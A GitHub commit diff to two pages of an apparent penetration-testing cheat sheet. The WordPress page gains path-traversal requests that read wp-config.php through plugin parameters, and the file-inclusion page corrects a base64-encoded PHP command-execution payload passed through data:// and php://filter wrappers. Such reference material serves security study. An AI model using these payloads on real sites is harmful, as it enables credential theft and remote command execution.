File tree Expand file tree Collapse file tree 2 files changed +19
-5
lines changed Expand file tree Collapse file tree 2 files changed +19
-5
lines changed Original file line number Diff line number Diff line change 5
5
- CMS
6
6
- Web
7
7
refs :
8
- date : 2024-05-01
8
+ date : 2025-01-30
9
9
draft : false
10
10
---
11
11
@@ -56,7 +56,7 @@ There is the meta tag for WordPress in the head tag of the HTML source code.
56
56
57
57
<br />
58
58
59
- ## Common Directories
59
+ ## Interesting Directories/Files
60
60
61
61
``` sh
62
62
/author/admin/
@@ -68,6 +68,7 @@ There is the meta tag for WordPress in the head tag of the HTML source code.
68
68
/wp-admin/
69
69
/wp-admin/admin-ajax.php
70
70
/wp-admin/upload.php
71
+ /wp-config.php
71
72
/wp-content/
72
73
/wp-content/uploads/
73
74
/wp-includes/
@@ -101,6 +102,19 @@ admin:password
101
102
102
103
<br />
103
104
105
+ ## Path Traversal
106
+
107
+ Check if the WordPress version or the plugin is vulnerable to path traversal. For example:
108
+
109
+ ``` bash
110
+ /wp-content/plugins/< plugin_name> /< plugin_name> .php? someParam=../../../../wp-config.php
111
+ /wp-content/plugins/< plugin_name> /< plugin_name> .php? someParam=php://filter/resource=../../../../wp-config.php
112
+ /wp-content/plugins/< plugin_name> /php/< plugin_name> .php? someParam=../../../../wp-config.php
113
+ /wp-content/plugins/< plugin_name> /php/< plugin_name> .php? someParam=php://filter/resource=../../../../wp-config.php
114
+ ```
115
+
116
+ <br />
117
+
104
118
## Reverse Shell
105
119
106
120
To achieve reverse shell, we need the admin credential.
Original file line number Diff line number Diff line change 5
5
- Web
6
6
refs :
7
7
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion
8
- date : 2024-12-12
8
+ date : 2025-01-30
9
9
draft : false
10
10
---
11
11
@@ -77,8 +77,8 @@ draft: false
77
77
# PHP Filter (Base64 encoding)
78
78
# `PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+`: `<?php system($_GET['cmd']); ?>`
79
79
? page=data://text/plain; base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+& cmd=whoami
80
- # `AgZWNobyAiJF9HRVRbJ2NtZCddIjsgPz4 `: `<?php echo system($_GET['cmd']); ?>`
81
- ? page=php://filter/convert.base64-decode/resource=data://plain/text,AgZWNobyAiJF9HRVRbJ2NtZCddIjsgPz4 =& cmd=whoami
80
+ # `PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsgPz4= `: `<?php echo system($_GET['cmd']); ?>`
81
+ ? page=php://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsgPz4 =& cmd=whoami
82
82
83
83
# PHP Session File
84
84
? page=/var/lib/php/sessions/sess_< PHPSESSID>
You can’t perform that action at this time.
0 commit comments